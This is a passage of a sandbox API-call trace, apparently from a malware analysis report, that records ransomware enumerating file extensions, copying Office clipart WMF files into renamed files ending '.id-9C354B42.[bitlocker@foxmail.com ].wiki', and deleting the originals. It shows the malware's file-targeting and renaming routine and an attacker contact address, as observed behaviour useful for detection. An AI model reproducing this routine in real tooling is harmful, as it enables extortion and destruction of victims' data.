lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.428] lstrlenW (lpString=".7z") returned 3 [0194.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.428] lstrlenW (lpString=".dbf") returned 4 [0194.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.436] lstrlenW (lpString=".1cd") returned 4 [0194.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.436] lstrlenW (lpString=".jpg") returned 4 [0194.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.436] lstrlenW (lpString=".doc") returned 4 [0194.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.444] lstrlenW (lpString=".docx") returned 5 [0194.444] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.444] lstrlenW (lpString=".pdf") returned 4 [0194.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.444] lstrlenW (lpString=".xls") returned 4 [0194.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.454] lstrlenW (lpString=".xlsx") returned 5 [0194.454] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.455] lstrlenW (lpString=".ppt") returned 4 [0194.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.455] lstrlenW (lpString=".zip") returned 4 [0194.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.455] lstrlenW (lpString=".rar") returned 4 [0194.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.455] lstrlenW (lpString=".bz2") returned 4 [0194.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.455] lstrlenW (lpString=".7z") returned 3 [0194.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.455] lstrlenW (lpString=".dbf") returned 4 [0194.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.455] lstrlenW (lpString=".1cd") returned 4 [0194.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0194.455] lstrlenW (lpString=".jpg") returned 4 [0194.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.455] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.455] lstrlenW (lpString="J0106146.WMF") returned 12 [0194.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.456] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=23548) returned 1 [0194.456] CloseHandle (hObject=0x1f0) returned 1 [0194.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0194.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.456] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.456] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.457] GetLastError () returned 0x0 [0194.457] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0194.459] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x5c00, lpOverlapped=0x0) returned 1 [0194.460] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.460] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.460] SetEndOfFile (hFile=0x200) returned 1 [0194.460] CloseHandle (hObject=0x200) returned 1 [0194.460] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.460] SetEndOfFile (hFile=0x1f0) returned 1 [0194.461] CloseHandle (hObject=0x1f0) returned 1 [0194.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0194.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.462] lstrlenW (lpString=".doc") returned 4 [0194.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString=".docx") returned 5 [0194.462] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.462] lstrlenW (lpString=".pdf") returned 4 [0194.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString=".xls") returned 4 [0194.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.462] lstrlenW (lpString=".xlsx") returned 5 [0194.462] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.462] lstrlenW (lpString=".ppt") returned 4 [0194.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.462] lstrlenW (lpString=".zip") returned 4 [0194.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.462] lstrlenW (lpString=".rar") returned 4 [0194.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString=".bz2") returned 4 [0194.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString=".7z") returned 3 [0194.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.462] lstrlenW (lpString=".dbf") returned 4 [0194.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.462] lstrlenW (lpString=".1cd") returned 4 [0194.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString=".jpg") returned 4 [0194.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString=".doc") returned 4 [0194.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString=".docx") returned 5 [0194.463] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.463] lstrlenW (lpString=".pdf") returned 4 [0194.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString=".xls") returned 4 [0194.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.463] lstrlenW (lpString=".xlsx") returned 5 [0194.463] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.463] lstrlenW (lpString=".ppt") returned 4 [0194.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString=".zip") returned 4 [0194.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.463] lstrlenW (lpString=".rar") returned 4 [0194.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString=".bz2") returned 4 [0194.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString=".7z") returned 3 [0194.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString=".dbf") returned 4 [0194.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.463] lstrlenW (lpString=".1cd") returned 4 [0194.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0194.464] lstrlenW (lpString=".jpg") returned 4 [0194.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.464] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.464] lstrlenW (lpString="J0106208.WMF") returned 12 [0194.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.464] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11900) returned 1 [0194.464] CloseHandle (hObject=0x1f0) returned 1 [0194.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0194.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.466] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.466] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.467] GetLastError () returned 0x0 [0194.467] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0194.468] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0194.469] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.470] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.470] SetEndOfFile (hFile=0x200) returned 1 [0194.470] CloseHandle (hObject=0x200) returned 1 [0194.470] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.470] SetEndOfFile (hFile=0x1f0) returned 1 [0194.471] CloseHandle (hObject=0x1f0) returned 1 [0194.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.471] lstrlenW (lpString=".doc") returned 4 [0194.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".docx") returned 5 [0194.471] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.471] lstrlenW (lpString=".pdf") returned 4 [0194.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".xls") returned 4 [0194.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.471] lstrlenW (lpString=".xlsx") returned 5 [0194.471] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.471] lstrlenW (lpString=".ppt") returned 4 [0194.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.471] lstrlenW (lpString=".zip") returned 4 [0194.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.471] lstrlenW (lpString=".rar") returned 4 [0194.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.471] lstrlenW (lpString=".bz2") returned 4 [0194.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString=".7z") returned 3 [0194.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString=".dbf") returned 4 [0194.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString=".1cd") returned 4 [0194.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString=".jpg") returned 4 [0194.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString=".doc") returned 4 [0194.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString=".docx") returned 5 [0194.472] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.472] lstrlenW (lpString=".pdf") returned 4 [0194.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString=".xls") returned 4 [0194.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.472] lstrlenW (lpString=".xlsx") returned 5 [0194.472] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.472] lstrlenW (lpString=".ppt") returned 4 [0194.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.472] lstrlenW (lpString=".zip") returned 4 [0194.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.472] lstrlenW (lpString=".rar") returned 4 [0194.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.472] lstrlenW (lpString=".bz2") returned 4 [0194.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.473] lstrlenW (lpString=".7z") returned 3 [0194.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.473] lstrlenW (lpString=".dbf") returned 4 [0194.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.473] lstrlenW (lpString=".1cd") returned 4 [0194.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0194.473] lstrlenW (lpString=".jpg") returned 4 [0194.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.473] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.473] lstrlenW (lpString="J0106222.WMF") returned 12 [0194.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.473] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19600) returned 1 [0194.474] CloseHandle (hObject=0x1f0) returned 1 [0194.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0194.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0194.474] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.474] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.474] GetLastError () returned 0x0 [0194.474] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4c90, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0194.478] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.478] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.478] SetEndOfFile (hFile=0x200) returned 1 [0194.478] CloseHandle (hObject=0x200) returned 1 [0194.478] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.478] SetEndOfFile (hFile=0x1f0) returned 1 [0194.479] CloseHandle (hObject=0x1f0) returned 1 [0194.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0194.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.479] lstrlenW (lpString=".doc") returned 4 [0194.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.479] lstrlenW (lpString=".docx") returned 5 [0194.479] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.479] lstrlenW (lpString=".pdf") returned 4 [0194.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.479] lstrlenW (lpString=".xls") returned 4 [0194.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.479] lstrlenW (lpString=".xlsx") returned 5 [0194.480] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.480] lstrlenW (lpString=".ppt") returned 4 [0194.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString=".zip") returned 4 [0194.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.480] lstrlenW (lpString=".rar") returned 4 [0194.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString=".bz2") returned 4 [0194.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString=".7z") returned 3 [0194.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString=".dbf") returned 4 [0194.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString=".1cd") returned 4 [0194.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0194.480] lstrlenW (lpString=".jpg") returned 4 [0194.480] 